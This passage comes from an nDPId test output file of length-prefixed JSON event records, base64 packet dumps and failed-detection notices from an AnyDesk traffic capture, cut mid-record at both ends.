yT26qgWrFmuVutrZE0tW5MHqPt5726CWRNutke8qpnOy0tV3ohwpr0EDcUyxrdbyE3MRfdDrFtRFJiiZ24B7adD0Tv+Rbqsg7Jkv\/uP05ruYwOGU1NGuiYL4sMi7\/MSmSCRzDvt66IEyzt7boK\/\/PNop8IF0k\/YErnD8rgwHYuEkY\/tqzR7tKj10NNzm5YQIcRHJjF357+435MZyB20PHAgjFJGFSwnKGzh00fa\/dKF9nrRqMGgE+LJDcyNx2x6NZqTrcJSt\/VHPIvNIdUET85v0BdjeXvqmG7oV2OLHRO7eaHGqIB5iYQh8qgdDGMWFnb\/ivzng3gGBINYRUHlFVZlGbZUujQZMp5gzyy8Xn3WsY1TmtekZw1pApeXwbkCIhIBjKx7YcgyqQSXD2k7A\/f3hxQeiLdzSidzRmrhQTDIHySysoKE2T2AGYQGskIRR21y1FAw2V9VwWrbu8h4t88A3Ina8dHMFrIwqDDJVa1+LNqy9paN9b4SyS0Lz1dN3jmq0QFMZ26+rhbkUo9QBLXWiNGG8S8v7PtD2SLH623ssBzlZJPDh925LFgcHxikW5EyzyiDGrenGVAKX4Kvpcotj5ZBzn2ygZsL1z8UYFuQqlP9Gz8p4ZTWRLTzD3Ux0jObPzkvhE+veqAlebV95Mw19a2Et\/WDwN701foBuHItrKUOdaKKqZ07ku2+CiLpQYwH1O1EDEu3F5l6mdOm5Mvj+vvI54G15RVLHSXQxWV0me9LPLBDBzA65Bx84Ns0SY7mIJCi4tZAP6vcNEpBpG2zAuf+DeW0CX27j0h14vw5\/BwkPnb7BFdtuMYeIWZdr4Jb903cCIFm39EZCEVISaVPgl+T0ePMvvzxBO15N37ZaMuqwhhGjFLtzv2GNrzYMqz2fEE\/FHlquEniSSQ1c1eWceGK2y44qvsAhTDfBevoZ6nxC768P1\/rSGdftrGpbhl2LB1AWm6yYmleCNVjQN3IBcO04PLc8CbF4KX4\/26WiOuixsQJXJCLei64sw\/oClFKCot8bTb\/OmATC6GIZwKXhPSM8hsRLiRk9J8PMPrEwgr3HlKWXItb0ohI+W284H6KI2ydX84chtrKFUb2flvGcxKhJCYS8R3lLHv\/Cm5Y1kr1CpamCZtnnjFBQLrODp6JAOnZi326\/u1SnPVSiR4MiWutKFAKRXt+7RYKNGULwW3OXEQwIGoYHaCvNQja9Xm4DjbcdAjkksKhZvFhdT2Z2rg3bLSMdhpMdf1Jz4DcMsbpoJq2IJAquQvf+XX2x63rmfJjEGOzv5APl7OIxlEh18bjH8QxJeMu\/WLwq\/PleRHqanoKxLFfRfdxuIYMuQLAxMtIBR4i8YzVadNBnxYQhl\/hLmgZuthIkOxOa1G5\/nFSIuYw7qr0tktXvuGzsHf31bRogBJH17\/vfSaoQMOHHqiuUDNIPaTGiwhtSMYnTZcEavWZNGIPongSGqXuJYubMmjkJVILhjjp80b\/k4\/mYl5WoBkbQWFBeR2Wf+u5hH8dVfd0pqSfkQ\/375FY3LBpqTE24Z8okQcQO87pBbkCnUB89BK2M0FfW3i2XFyY7wwGfgwTtZcgkNCqm3+K5BM6F23MfAuEjCgLChiLcdpbiYhH2a0+kMcDvHjZfK+wy9\/fR6l27OqEibET\/0by\/QswVsCAFIDTkqnDzv77FRKGZLTrMJLNLpBEHg6xCXCee7DqWa76GYxLf8VQSMioh0JUOM0Yon8H5kso25RAnRm\/DpboUk1RjNr4TqYk\/ofwKA1m062SyNzs8b8smN88YWayvVGjxFVvLOmmJGtT9JuPhw6czCG9R4\/vxcQJQ3F57Okshz8y1mpHXpLCHaOyxhGGeVwWmPLKsKiNAiB2AoCZbjTVuau1UCJ7TjGED2JFRYVDlGNQFIcNf4nsyZYZ8slDp6Gim1x0Kr0UrVw4Y\/4w2h0Q2Qi9No7tTy2MecU+anxZgdzjcMcTvqDCgAo0sz5XFiXtJN8HbiiOz2ifEwRGIoyBTp7ZzQTNk4WnRQEQtzlthDsXNRgHfj6wGww44SrD3XgkL77gKNYdYb9UxTG7WaO+AlyNoXnAn1Y1GDPyMMDnazU\/oYCyI0OUbEcQfzRNw4AXIhi7pZ9NfeY\/+oC\/QKGYQPe\/gyPIGhJUSY3cTgvS0UR0fGOMUh6bmAkfoWkKaA9NERLWTj7bDVS3IYf9T6snyU40jTIU1vJxQ6Ku\/0TWFvvlZbA4ZAcf+by4ZfrMmcDOuBNDcTRVYpN1lNdDuj0IRN3qYAhVidyQo4V0txLpTUChfuTtqv\/c7z0fJcFc\/S3pGOJ+R5sm+s2nEseIq4udARYZJ50QM9xxe2EJQpCFdiQe2pDEn\/xYwFVbIAvnJEnzch\/ow5MlNKiBu5VjeppHcVVa1\/gdU4nLZrQn4ck5nPStC5ea4xvnLfZyVivQcHdhwDt6IQr+tx3hB8KsdrS\/sg7IjZWhdSkP76Q13qAdvoFRY7YFH\/8\/XWu3JxAMHGlpIWeQJICPY9eQELwlfKWp9aPVPYar1kwhpenrNj0fail5m3qlY8ylbynk9NERmsuGy7L1ftv0GbrW1Ik1vzZU+5oBcJREUox09CGhVC0IIV1q5MXdFHwSO9tGSnq8HZ0+exVsWpe\/ctjEBoIbis25eMTvZkNh8cD8gtfhmAQQAiVUkKO5i+mIaZim5AHOUKd1VHdaegrfrJ2TorQyfmKP27MJmGLRUmfpJlw5HD7+p+OBIpa4SRjN2I4WF9lOgHf0pJzzfA2GD82Cx07L50UVkxYiaJ3VmabyKJYI86g0VTQenWvsDYMWqkSf3XH\/YED03VujYHLoEq0UTckVkJ9zIYPgW94U\/Nx4MjX+KEDKmv+Be7VBTZ4igltRKepBdppnAyGH53FTOaHwSQaG5OJw1EXqAdPbqTjhNx7AeFvW7\/1K7Nl7cRzvPliZiJFY3bsVT0vLS79Bbrig18ZxlrZHM8hd2E9QYrt2Wx+V8mJvzR6L6tob4T+DzVZ4r49SNI0q9JG\/8JdlRn2s2w6uctfj6FxrRq9zbncHalugAgxrXGnP+j98wYQNaAQW4g\/e3I6MEKDMfAD3ebg+MnXtHs+9hQBU+A4FuF16PKVOgd9AWgQgrohD8v4GT+mVIekoRpSuiZnoMsSSCh5dlC3pigvBL3uTTJ81nGeEamQda8uOtsajgRxgf+gXAaYo37JNw3zvOk\/GMK+dBdWBs\/x4gmWpDUxNhg5J1Y2ao160FgupV+AKCG+fF27MIGkwC+pLcSojDN+KUTEHYGmqrVQJzKUji\/W2sD3iRpGQ64Y89zgeJiOB0mWJaKhecL3wINP9qdl8g9\/1Wxx6iVhlxIFl1UZo9m\/rnhWzag6XIRqwGJvlg91YuxzTYDfBJySL1QVp5ir9wAfgpNy+ffWbKJHn0DcWCisL4Zvhi5Nnv718DccF6l1b0LKnJ2mNMlHl7itnMDZ2+35qw2A6vaCAroEIZZ8iGzZnUPZLBXzqs47bZ004rCspv3J\/npRfK4TztgpkG1\/Xosv2kPBN7gxI\/K5Hi+hv2R850U7a22xbpN88gJ0zmaoscd+uXNBWP2UOx5kO78WhuLluCqU0bHQJw+lfN3aTkJH6w3TbB7wKPH30vaeJX7i9UeRYuOuG1ov9FWZlYITVnIbOxZN7OQFPFU5L\/lX4RrJGMJb5pC6hAjmSGODQ04Z9qLkQD+\/nRqXKiPSWsenPPV5VWIKFUTdcrjohPndt7bkmTriEV8szQA\/+5gZSsR4mxJo5rWs+q7fbVqYG84ORpF6eOh+OnzJS8cR9\/wsx4vOnPzcFSdL\/cyiC1ADBcUOu2yPFpgk18QQgVqgjKXOcL0XpUdMTVJujAwBX+4ygijCj5BiGqoFC69G5TW+H9\/zt50BJSPBtvyMlYj1PRoy8QrV8pa2ZHuKkU+mrB9NuejPsoVRdjfcgXoiXUodUtjUyNZHnguzs91cJPE5cGjGZsz+pPOZPdYLolY8CpQ9NQHSjgmC\/etB\/pm+7cA9XaSQ+luW8ugW4yTWcNwAQkEQXHaUqmIf6mg2XxPhxlRUtp55+uidynqxhG9sCCxAGpjB69+BarIbeO608+gFpmeEhxCTXutGnl\/MLZgppX33x301LDSJGJs6GTYtZ4BfWDXXFAMbh\/YUNB6dORV0qnU6gfSqc0fLSEmCbYnIy0S5GQ6cZ2jGW7zo26gza2b\/6Rr9QUi6vkUaDvI4YWnmdS42LJZ3ROHz1VhHNmD2SDhA\/t8eWZA5RfdSoCYTW7ujTjuol1AE1cqvPzWKj1lEBA5RdreTFJPgA+790iGD48vaxSWqTqL2dl7xpQZIiyYuDgHxE9qV0Ax8STU0PeekOWxqLYyBK5Kq691UqD6nIGN3sTMGxduxQ49TzybQK3tG910Ksi1mh7iWzlTua\/SobRxhsBVutCnA3u8o+KHaJsB4QyMvsXkGngF5JJf+LAvH01W0aY9wNiEKm7iDct1\/4emI6jaWmeW5XGabtAqxP\/PBIsOb3vho7IhqeFhRaKGqkpDMqIl780cA+qS3XnZsjUBy+mlxDY5rV7ceDlnBKV5w0DZ3nheCpge2+JzzbbArpUvHJppJrb4yq5t0oJ9I\/unolzecxbK2faPlPsFfe4RSumvD\/C8bassk0NUSgLzaDvDV+pHL5Lzqt+E9\/X3ADMdETWRwS\/CYMmilBd6llW\/FrAqMFn3moR5GJ9ZZzk3YRudwc+uoMRQ+hwkw\/6hrOoqQdYNx4vtvk2saNMr1A1wJ7dnzjFNmrwq0p31N8hdHIIHOsB5\/P1ZMoMObiAn3TGOIGNCUSv1b3JU32WXmE7PZfOmUg3Tv1nR9kpwavWHFied95vSv3X6GGZUzLdVSawGXR66PLAHHlNqzlX2bEusAGNHsyvEk5PdYQYCi+Lo7T1r40jZuHtGlATDzKboV7PrHJ337a2LaIeiuYsoHHYfK5t6CNi7wO8OBijM5aQbrHqojqUoE1tMyQ8WD7xXXWp8vW6ML2usN3CVItlMC\/OnAZcoIQMVatek1ngqJC74PtPOnh2ul5puRain3Fp\/GkkoOCzVi+jibCfrK6Rtw6pGT21nqbEro1alu1gDnZmS8L9unJ9y1GFFKNnu7g2WNsG8k3wYGeN0eLZT0nunSZh6Gs3ZMtTRVk7zLOr4hXafRLe3eXpm8C0j0vQToBmgY+0fovbNe60doc\/lSUfq8bwORTDJAALrSFDnAc1VcdfPVamGbooOIP3Jwc95yAfEG\/Bl495hItQt5LvikJXpKEhLCLc1yI2mgd0oUxdU7NCfebL11peyb2wIqXhIMjw2R3Q2oRT6+wnrBYoMecaFvMRr7aqBFA6HOl9YnXISxsAAllgEz6Rli4Nrsq2EpTcEr3GIzAUKz4EYkRjejNN6EnomRc8IKMwXuZBBu67YGD8vRhurF1FcDUFmAEHpBxJlSoCRC7SqAZw4yv4UjLjukCDyL7+6GwVLIUddysKu\/HSzCE5xR49AfMpTqZOWbwdKokyyUV\/4\/T2VTAVdJxkNtxlvqvhj0aJNJ+ioA4XV+qsX9eJrP4GnIPBq4lJW4h8fJ1VKRwC80EAoaDh0ofZnmQ\/TRRjyBdkmafMfietn52Ufg1zqIXgkp75XDttzb5NHdsaUyFHtjlsp1SFEBuxleeaYN49a0vkY9yPX7oMKO8BKqia5rArHgIrOvz8Lhk8zsTIUVrWETfBFXYXYWoXSLaBf+sQtG7zhAlf8weBNE2l1PBGf6qqvS4viGgq11ip183tbBp5L+k4g\/VANZub59UT1OesAuDuxys\/F5t7QHPt\/p62Zt8GOZGVZqEAWyAJ+2UdW+hHJRhoQt3dFFfnnXEpTwQx39I\/Y1DujsALlSTanP\/v2HIM4YJkXXkS2eLVQzg9snUfhYxQDe\/J\/ychcgvQ6+HHEymST7+wF8hyqql\/F07CNOtb1s0TTfUxwapGDqCPwG2yMsxV7Db17gsVlAy3CnAfkr6zSg6tYqJISmb6BUysZXVijxkRvawJ5n+ZFFMn+R5o3\/3KF5tt7adWImteRv3dJSBpHeo0AIOZJyeCbsjZnCGY2Dq2mmbVDjihGso3uR57NOsGvSyee\/5db2R7pSI3Ser8GSBjWQNveXStlhxj0jrpEOK13G1w+9td0xKQqodX4AK5ggbPQNSI\/bxfrRobSAQLc83WqP1\/QXcGsWLCQYKWPAcjpVBYDE5mvPjUMLQKcGzfnNRF7IIhKd2ZD\/TryTacXwwE6pTFc+BKYRc\/v4Pkk+T3bT5d\/ncDDqVsI7NP2WksHUIVsby61u\/ytGGeRXsOid\/oDnWOeW4AJNc7CVUFtYQtZdEjFU8B0hLwP7zdl4HtWTzhJyLa9bfj6I\/AGE5oR0reM2U+GvWBmSg3slYxrZBKlN1rSFwpLFYS49OvAGw6NrGFnw3DFNNxWvDKjs8Oi3V9L2dNemWKuZJHeUEaz+Dsiw565UeA5Ay4la1JvxLFPL5zraoQxhb9+jr+sEZKt6koVgZ7cQ5Eh5gPlEnhjWmAWPQZ0khZTUTmxsNtdfKMVtcrrZZbz3nNmoHQAj73m72BRhCUTa50XU8YPYw=="} +00177{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":137,"source":"anydesk-2.pcap","alias":"nDPId-test","l4_data_len":5520} +07840{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":141,"source":"anydesk-2.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1613977602,"pkt_ts_usec":732847,"pkt_caplen":5557,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":5557,"pkt_l4_len":0,"pkt":"KDc3AG3I2MuK4S0uCABFAAAAdr1AAIAGAADAqAG7wKgBstOUG56PGiP8WcP+aVAYA\/6ExAAAFwMDFXpZ4hNO+msUvq0PScxkSwZJnaChT2uDkf6wldexWLcwSGdko+238j\/C9uyH9S6eRiYPg419YEqTHkiONp\/HJAHi4JP3TfMRtqCERxXto+slzKk6OrbN40OxZcm5fD8WnkaBkGLI4\/D7yRtDVhsm7p9obR6AHuNJrksVbfz5wCGc9VUnZHaxUVc\/raiG6PFIjqsqXFRgoHgaMVZ+KvrmAcfyoA2CPWZtb3kHfffojuFvMIBLRggyzwJWmI6N6Be7c8YZMoYYkgcIfP8EZjkJS38H3XxlGOFlkJwTtFaIfmCdUN6pdBM6\/4WgpOcIj6K6TByYoJD22TAeKWhIKIRCDOxw4KFBV1Qb\/9\/2ygNxix5UdZLInPOjhVAKY7mk2r\/urCtTcFgGBl\/wSxTA8gVIxkGq6BLGg0o7sv32hi0usokWkrkLRE8Qzsdn46KF17hXa1u1XjljUUaAso8cgZkTnn1td\/blkSq5KEO9XCylgZVFckQ6q0y5wtnnoUJAWjOryuJVYQ1KSa\/S1WGjxnHLBBlvnJbE4P9IelNEWsawkkV4BIyOeMN61pB9kr0fJ6GNGPQPncbvCUfBz0KNvG4eMT6WNR3Zru3tTkmqnnyO8MXOcMcIHxIcuOIIWSFwLql7k8oY3FaaObaPnlstJ9n2+pEI7qVD9SCeaS7uCWvPOU6AaC9dbSJPxJZ\/Qgqo\/ZZDL1UmDYc\/HZqSW11pG2wjhe2n6SEhZj6FzuvDJjV0vsED+Ho0iyFuS4EEhdRjvCHr4mhUpZCBB5u0rHDcA0tkLfVZ9mFCqsUw03E9gbP1W17+\/eoqTYkXkGIGOQQ\/C\/DLjFyx6DMc4W9Koz2OgR0xe\/jkyjN8wEifAz94xgHcmqSMU5lbuBrdzv1e5QCnyNyIOeViLDLrjFfORlMHeZfpPUsJWZ\/Xthbi+hr\/Kbx+AY56xW8nMgdNCWTl9Zff0YPXq1hTHQ+3gQOqodUx0VY37276FHbkthKejC3315GwvFJUbLU7BBCQYJJcJyLIveQv9XOHS5qz2q8dSxvNdZQyt\/+p\/QEogjmlicGYgc7QgMHtiEK9684PhjmYORLstQHNrmgSTiAhr3IOVJSKobF2hctXUiKnZ4UpUm+Q7vvjvPA5feo5f3O1OtdmW3\/IYVoOoTblkBxFsEpjMi4q8asYliEd2m3cqJhaA4hRpikMmZdXmm5jrXUg3u92OJ5DRPS1IO0Lif0lUS5CGuaD5SC4N2YcP3er4qTccSfmVl40OgE13pKRV3qymHSdmO1gFAkA3pHqNxiaSr9q0Ob4VYDckori0\/LzhAas0S2k9GEGiXv0T5iT7azI6BRE0Eigk4\/EmCLR3BrDuYWyf8A6UO3ijKG3qXchwkX3QD1Ltp8w8bd6yYIANCc1w9U5th6aGEGvVKBbXex4KC1yPY3Omx0DCRxRg\/Xp\/w+aYVaIxhts8kmNmqrB+fA+ZfddQRYpAYQNsmqzoktusMEKi6n0aa5wGNDPpufPBLoeO\/ra9e+taKvga+ziHXtg+tgsnyETKDXrxZOMI3Jk2X7lDuWuR7bVBVopGWFWT702su0TUAc9t9rsJpnPFu49My20RRSyjRHTAPNh0u94+iMiNqh0xlH9n3qSJ4FehCwn7u+poV8v6eFwQhOozNqvBKwiQ3bdeT314jIfxMFzF+Z\/PqDyEGKeRCBcI+4JtSYwa9FEO0XmEradAOfcbflHYx11yN0AMkuJYOHszs58iF+k9q82uPvCnWizndhxU4M8RR7MauC3DXmDgehBg9B1z5gZJ8w5HpfZ2j\/XLSaEnkXB237MqMTAicDTdY63LwJacKDLEYuie0rfLdRbwoRt6p08EKhXWATg093C35MDp+I63Ft1burI0FEKq3qjsm7OOmI55lWiElDzXdHt5iyIYKga4yv7KfTp0lTvUOIBAoC\/fV7fOjLxFfrtkATOjrxZzNgR8APbYyPpFoCjJQjfkvMhopUXnqHapReqSO7ynALkDqp6Olirw93yxRCf3aE2a2UEkY9\/0ETNppwE+WOz6rgUVuYsHeyJKCqgfu6\/g+u1E5BBUK3QUiPwui3lPUsGdhbsqUZ9rIldn+dCvpEe0jhFfXxd9GQJw8Coj\/oXpWT87DaUH8UtrRQ0t+qu0EGJbfVK78DxDi7mfayErOlELUVd8FPWSJyV8KJU9si+ef54nKeYxVIgnu0IQ2sm3l2VnLgUozPUdg7lFhU+5ZpE3nNPeYMV+Ruhf+u0p9M8StfTYFE6bnqWPwn+exL7pp0A8Y9GccxXXg2xyQvpuzSO9pVcf1NxHMeVg\/xmaUtPNemwKjIQeYBgjQRpMnotfT1f+isDEdu5aj7FhJ18wk3ONgGDDGk4lDNL+0fJvFeXplVFRNJX3bbWfag8YBbMfy3kz3ZFrINatAYSi\/wbsQaJdO2OlOrR4iFsTIrtKi0KIZi5TeETWHX8B\/WAfNggUD6OWnCMuWbv2rNuFud2ILWg\/M8wYspkiZ1hiX\/2r1JWxtfbrohe7giKwngTtm4KiJc+tc+aJuI84s4rzkmGWVSmK8FQ4o42nQHHqALwiDbA886KomZfgLYM2d48+O7Kh5YmJZPeQU97EqNZ\/0MXwzV0yoF8BEvGQgNsY0+mA3VBihU5KUkoYsCWEa6ooxTY84hdiYoohy0a3XVaYMlUzNbfvPWanNWE25N+dVKLSl0J\/cV1QvpJQ+iqyu0\/ZwJ+WlTXQPfjLipAUgb\/JrzFi4pSmYjGhTNcI3ntI1s6f6uZCkVdvhDyWlH4kXyoiZZ34hKH85XFTT2fTDg6epkFnzZgatVS4igzTg4gXOQ4amQXcVpWUnbHnqiKGMx70TJhTVY1OBS6Vr0OflxI6CxFloZb+EnSKM9+mRzW91hSSDS0EuowGT8rqfqNeQ5jq\/\/VhtOQDiIfk3KdEa9ZiApb\/b062nlQi6ZlQyFuOVGKY25HczaSeGkHJ9W1XDCXbOlh3yebL03kmZKcnzHYXx3JsG1i0ONetc63Cyt+mv8u1R4pzjU4fIJFdvXLb3UxKkVeQfslfx4cCTqHCM6zfdCMjEfaOHt3VHG78FmTrNGew7EIERwtH34ovI7U+EBBdQ3DrH3Wktya1d0hU0KLanzMWdLrItP4zxRuexOq\/OPgzH\/YlGtX95Y+u8zR+kQZ6Mwq7fwygidepUpkQ0igyFZI14dcI9YJz0Vg3aje8HCZwwWDF+dCEwD3zxA0Yg9dfr87rhbi6eecIpYUctXRzJxN6LFTxFMobjTwJGefh9tJNuVasRXS5ZE5YmSOr\/wsjlmx29Gbjcaj9Vjj\/Xj176yHA57npouJ9hEyemS0xiT9YUoStCf9JNFZiSCBHVNLx8VFVUOrYHiKLp3T\/RB5jPRWESwsybhNVgdXAe6K0ACQxZp1kiRQzlA8juVkrf0lw4Da6u1vW3ABsYZZtOrXTOUaYSSHBEibtJMUohSNAGsinucZ7cNJaYtSOF0ZxGhnQoOwcDROQDDNLbr6jGsW0eIavBU2taoC89dapNizWWPh1kIEPZFSxSFY7zIicbP2LlIBX4hWZUxH9MvrGjMb9RR6JH2+8aM\/4BY5a9cVBp9zadKi57CmsfWuv3ac1UHaSmHr9fxYh\/PrptGhaDNBQac\/vc6dsS7nG6xw0Qcym0xgwgy00ffI\/tETkPkMpyajqAxHn7MY2NkORE0opG2roBKhoM0g9\/4fiHBWZXN+CHqPTVArH0xEY9DVJpzeXXQiZ2YP1M+ukOowr\/VRJV1QZIrkXJKIj7PVYTUmriGMSjoYY34gzPU3y\/xFf\/KhR\/sis+jFAR5ReyDvCkEoe9LS2ddSWLO37waa8IqCFDuDxWl63kawnNZdUep8iZ5nYHNNXufpEuA7WD47XlFPIkGT4h5ow\/yueq\/WD11S6RRZcH071p\/N3uiHWpOK+BMpn+ZN8n1wRHHKz+\/kMV9XdYq2APDvbncuSSgeF8jQXbO41v1+PuW8ZENyVaPXc67yr6Km5yOrECPOpD+5lNU7HmGKb\/XEE9\/\/QAmF1JOHSJ10CwmwXWJxIbusmtRtjEV9DEKJHgbcjdaxj7H0yND8jKSN5feK9eohQQg\/XF3S4u2UbWJa0tKq\/MrKpY7hD6dfjijmptg39Yv40Fg+c0Jozhk6\/VaoNd\/PvdHcTIocfzhCRGmQ5A6SIc6THw07ogh0Io7ejK\/rNapz9YUY3CmGEB7qSEITtUVLOYxXkGUKvfU3RLZdD7f\/TlIh9k114P8z1\/qrgocFYkWEBIHAuMnM43YVOxHHEMQdcsG8k5U8TxVucMrZXpKQ7jtT9i\/fp7lS2aCX9Sc73JeB0zfdSBohmaZbKyAYOWX8cEvj0DdlmjeVdMeJzH5B4dBTjD3fQHGTF2\/wltHUeNHS15O00tfmPSjGvXhf5gSJw9eF3A6I334ULWj6NxS0zMyr0LV3OsEsooBWmD0+gCZEHQhLS3hLfDi0LvlAeaWIiiTrtEQV2PTvEmECrN7lOeQaR0Hl45g5aVeUlhnQ4yalxfEDM94mQ+Kpg18Mv4+xwqrZwUp\/LjU3\/EIg2fe76RS8FZ\/H3gNf+jgieixPst\/EblkrpBUaziBqhdLY7CAq36ASp9Z1KKNSvfB7ZE+8yD6+aJ6qgDUo9xERZp2x28ReGJ3SmUiDoWPHlBhEtq1s69K7i9btoEzXZMYWFvonC0Ls\/n\/CumnZ8u6TugdmRsso1ehUJeAT0O7ng2CFIRpySJkDYbOAYtxE5jYB2HW2fbFu8jh+A41w28qpUY2rtbbNz1SiTNChQWOJmjl3KbI2E8jZgg5Y\/GvaLPwY8xBjkDfRTbArG3W04xbYd2\/IRKjIcbMVxN3zY2J8skFmx6t5ee+EpaCtGc0IFHLfobMI2T5Iw40mUz\/1MyiZIYholsdBeA22tFWCPokgFE0gyOsFBep7EIwc0InssVDRTVmMjDza7QvRKn8gg1FUVzAB\/Cc98McScJdfq+ufwOZ27gGfI3PshlVW7m6EDzwDaR\/O+7uRvZ7H8xj0HBm2iHQ+rNWAjzYsAZXrUF8hvk8dMYjtp0mml0r+2iDXANVXAKyZkAr13UusNc+pT0ELPkwtj6I9A9Di9oXSCD2jOIkDRb8jnQ8rP6yhE4xfhmS\/CcEtZX0NSLFkCYLBcyfDcEsxaywMGig1RAG5R4ssHbklvhDr79qGCEu3a\/m2sZslzCFetY8i4lBd01acjYjeW3D4tZt4td46LUkOFmZBLdfTNunQNjo+\/vNXys3Ld6HGy9KFhnn\/2E4ISrJ1DV0NVBHQ\/otO8dR5ROwR5DtQyq+rtwQg3JV60euhQ3hUQrIq1mueJKAuDFztEeNcPuqPIafrIR8Ih6C4uW6Hm0akrCXyCbPEyhg7GN560VL367TNciV4bQFA82gqqOk9R0C00dDBpHgX4dFDy\/Vch5d5hFr2UpDDEQU8wfkVc7x6tHxxCqgynOVzdmJAsVM2TSn+6XnsWKsNDoSd5yBJoX5jW2zEh8Cjb7HLRk9DAwodm2yZ2scYneB2mrvnSAFz5OhBOfi5nR\/VqC\/ykZWGiKDZvce\/q6F6K9JgF5056YQBfZPaYf+6Vnge9hJMk\/0bbO50BMUppQ7KMUN4mrGkHtkdNx3TKzJU\/oUw844+4A66fIqCrK85MeWLT+BnDFNMi8jGJHTLUvjHvISKvvsrWgkKgSke9dRA1NbDtkA+Z061dqMV8YIkt3FqWzB+r2vRt0mJ+kB36hhExlcnbILIQYeVwtySDvOcPV+YdC5cE3R7cwDZ8cfXbZLFA6GK7hyU75a3ZDVpfHKc2cdZNygkhks5q6eH29nGN5+lYJM3zXmYlNVaAAIzW1\/OJ19tOLH8bzGT4qAbt6hit+5li1\/msr20n8xdqdmx\/UogCY5UKo\/xYDCPFNn\/S17d73vTsJCyl1212zbwyf4bWDcau+WhsgWSKqlnpQDLQ2+9MVXaB2Uo8zogcS5bSuV2GLx8nsUExtwWZEak8FDfQsEXaxgQrQLDin2p2+InYyaQj2Qru8M8aWa\/IL7kb7hPQ3BJpf2Wu3rT6mjLk0kpKmbVj8e1bsglImMdNSo016HT7Um3bvuXSA6uwaDYFlwz0LI+sG23XqDZvpTdsl0BUNtfqXJNOZeIWPmMTxlmdZR3X7wW4ysAxr\/5wOoRJr5aQS64crIZOps0pARNBRVsBrOtxJj2gWCEjr4OHsIcpD\/6mRSapIdiKSujGKe5Zc0VrcDoBq4Uh6GTzSU7NS1564n2NCsnYZTFUT1BmFXbQ6XYxqSCJSpdzBFlITHrDK28YU\/VWVn87OE1ubEYUx35V\/KDofztQC+AoHqfJ8aLnj0AmPH5r4kuCqd6vlB1+bv7bHlg3gcP1BzdyR3bo\/8ZKXoPdQgZGLv44xwI+yR9XzbCDdBNYf2XZO1MSREIpoQw27ae\/8L1jeuEG3d23nY6iOIBBKIIyQj6lCmO\/9T0AswBiSC5h5x11qj7PJqz6SVrZFMrFvI0JI7aCBAPWu27x23FX6JYO8WVn3W+21Xa0Rg3Gi5q3F5dM5wXEjddD6uLGB+sQ3sMwXW8dkVjeU9as8Rau23mud6BXfYKUEYxRfIHnuXuQ9XE9WEOB0sFT4SXrpelYoCKTa4mE1rzfCdoxXIBY4syO3zv2a8TlfuT8NhLLvqrgexdmrwieVB6cSAiK5x+N\/sCWLBPaLcvPjjpzrrQNzKOX2RJtLk6HnpvTa4bALkJfaHrsJylTGX9nm8pX3mZ4Y28Q0AhvROuYrV4\/N7uQVh9IrzSqn+VDe6Vo9vlited4yydjP1HC1M2Yh5smi\/Pt+6xLPsWXKmwO3WvJ+RZoP97Lc9xYgQQc2ux3CW4A3Q095aUsqdrcSJ+WUOVRHpN05UlKVw4R7wSKoQM0XdkIB7MsLRM8ZcQ7ZQ7r01NUA5h030D6wecaOJfQ5Bm9BaO0dWHuYLKb5Gy7afOqWQJ8KHrjmL955AFZ\/RqlsXBjuFjMtFdkc1yUUcwQO8qkr6d2R83x4D0Vt3MtCYNHP4lxZ2ysf5QYWqE6\/C+1aLIC7ndY0Z1Tic7wQrWpGZF1Az6bafuW0m61kRtl9xj9wxy\/Y\/jH\/UwN920FIj0pLAP68EBlFar10OZNcfd9TXtak\/XN3eZvvKMekIW+4N2\/kMySdmBGk8QdSif3ikc9oglFs0PVVW5e5ghSi05upFknlUMyvC3TUChSzKfY8ZQRVvEHpDZxvoAvHZc0uSYvXOnuV1\/Vr4BBRfQzRRWfybtI1VoMQuPo6fBwcMtdbsBMg+DIiFW7TfoC9eZ3JYN7NQ5SHsnFLi2WMxnjyS\/Ssft+wfVg9VlVHNV4RT4FZlOY0qgSg=="} +00177{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":141,"source":"anydesk-2.pcap","alias":"nDPId-test","l4_data_len":5523} +07841{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":145,"source":"anydesk-2.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1613977602,"pkt_ts_usec":733227,"pkt_caplen":5554,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":5554,"pkt_l4_len":0,"pkt":"KDc3AG3I2MuK4S0uCABFAAAAdsFAAIAGAADAqAG7wKgBstOUG56PGjl7WcP+aVAYA\/6ExAAAFwMDFXdZ4hNO+msUvyC99FzYTHeH1hSdRi8cSmg6BtZA3HN\/8xx0OJvnAowKLPGq0YqbrAVqDM0plIJJgM0ICUo2DebRlsXfaTIqP0Tnn3F+6eM1H5Dsyo\/0eCKs2PNWAhf\/VcOi7Hu6fLAtcUhVh\/mmEt647tEAGwlwSmuOnYBi3IJdNIrk\/zO0Q64EgUIGLPvNhW9j3nem7KIowVvu8VSi+Zqzv\/Z19H7vjEDe\/9tqXnYKUodUdGdSExBGX5to61oREnkGv0cdDXRbvias6XgnE8HD5YWFU60N4ihNfi5G1eo0xbQ3OWqDWXJSBF77GT1m7S8GlVYP+fp5KXYSxnzwHGQcde8Nw\/h4r56Vym7ab8zEL0vcJwn67oMVh\/xasI\/vYn5m4oeVUauIfiK2sYDZpAAHil4nqJB9X0uNi5OmdkJwwDRlEdmOMenCSxb6EHZY12MJrTAWRPmHbXIH6\/9Wr0WB76M3z4s4t20PRm\/LnV55b3GpvR602bFdEmMEBnoA+FTT50E9lO340918sLc+oHkYoW37RPX5K9S4NRS2RBjrZI8M17j4gV8ZzcxCt0ZW7xUc0985RHI9ZTtGnBzl6z5mGbBPSQ4noFPIln4uX1cvRu0WEuq1tP0zSFR9YXR0I7gHoJLWtixZTA8qh0tuXfGhQhqB2\/60IJJnWZSxKoURj0Z\/5\/JcWtowTHM1gciwE2\/1I+kUdOGMZWlcR6aJ\/ZruTYf5RoK+yV9cVu\/4sUy3V2T70Gw+movUX1jM+yrOTSzcpDhSW\/yKU+hPai0nRbOPPWwYssBtrYCXsf95c6+n4HZdjWRvxTdP144CmMPo57O9C8jISo2JgXFmFiHcBuYjvwYbAcpC